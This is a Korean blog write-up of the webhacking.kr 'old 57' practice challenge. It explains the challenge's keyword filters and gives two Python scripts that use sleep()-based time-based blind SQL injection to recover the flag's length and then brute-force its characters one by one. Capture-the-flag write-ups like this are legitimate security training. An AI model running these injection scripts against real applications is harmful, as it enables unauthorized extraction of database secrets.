본문 바로가기

웹해킹/webhacking.kr

webhacking.kr old 57번 문제풀이(Writeup) Timebase SQL Injection

반응형

webhacking.kr old 57번 문제풀이(Writeup)

old 57번 문제풀이 1

문제를 들어가면 위와 같이 출력된다.  코드를 보고 확인해보자.

 

 

old 57번 문제풀이 2

msg와 se를 확인하는데 msg와 se가 입력되면 addslashes를 통해 싱글 쿼터, 더블쿼더, Null, /에 역슬래시를 추가한다. 이후 select, and, or, not, &, \, benchmark 등을 se에서 필터링한다. flag는 mysql에서 3번째 컬럼에 존재하고 있다. 이후 0~100까지 랜덤으로 1이 나오면 테이블을 삭제한다.

 

이번 문제는 timebase SQL Injection을 통해 해결해야할 것으로 보인다.

 

old 57번 문제풀이 3

msg를 임의로 넣고 제출을 해보니 msg=123&se=1이 보인다. Python으로 exploit code를 작성해보자.

 

import requests
import time

URL = "https://webhacking.kr/challenge/web-34/index.php?"
cookie = {"PHPSESSID":"8thmu1o95ht7l4tl6o8ii2a9q1"}
flagLen = 0
param = {"msg":"123"}

for i in range(20, 30):
    payload = "if(length(pw)="+str(i)+",sleep(3),1)"
    param['se']=payload
    start_time = time.time()
    requests.get(URL, params=param, cookies=cookie )
    end_time = time.time()
    print(i)
    if end_time - start_time > 2:
        print("flag_length: " + str(i))
        break

먼저 길이부터 구했다. param을  딕셔너리로 만들어서 넣었고,  시작시간과 끝나는 시간을 구해서 2초 이상이면 flag_length일 것이라고 생각했다. 이제 flag를 구해보자.

 

 

import requests
import time

URL = "https://webhacking.kr/challenge/web-34/index.php?"
cookie = {"PHPSESSID":"8thmu1o95ht7l4tl6o8ii2a9q1"}
flagLen = 0
param = {"msg":"123"}

#flag_length
for i in range(20, 30):
    payload = "if(length(pw)="+str(i)+",sleep(3),1)"
    param['se']=payload
    start_time = time.time()
    requests.get(URL, params=param, cookies=cookie )
    end_time = time.time()
    print(i)
    if end_time - start_time > 2:
        print("flag_length: " + str(i))
        flagLen=i
        break

#flag
flag = "FLAG{"
for i in range(6, 25):
    for j in range(33,133):
        payload = "if((ascii(substr(pw,"+str(i)+",1))="+str(j)+"),sleep(3),1)"
        param['se'] = payload
        start_time = time.time()
        requests.get(URL, params=param, cookies=cookie)
        end_time = time.time()
        print(chr(j))
        if end_time - start_time > 2:
            flag += chr(j)
            break
    print("\n"+flag)

앞에 글자는 FLAG{ 로 시작할 것을 알고 있기에 시간을 줄이기 위해 넣었다. 이번에도 if문을 이용했고 sleep()함수를 제외한 나머지는 다른 Blind SQL Injection과 같다. 똑같이 start_time과 end_time을 통해 차이가 2초 이상이면 flag 글자라고 생각하고 falg를 생성했다.

 

old 57번 문제풀이 4

flag가 출력되었다.

 

 


참고문헌

https://man-25-1.tistory.com/100

728x90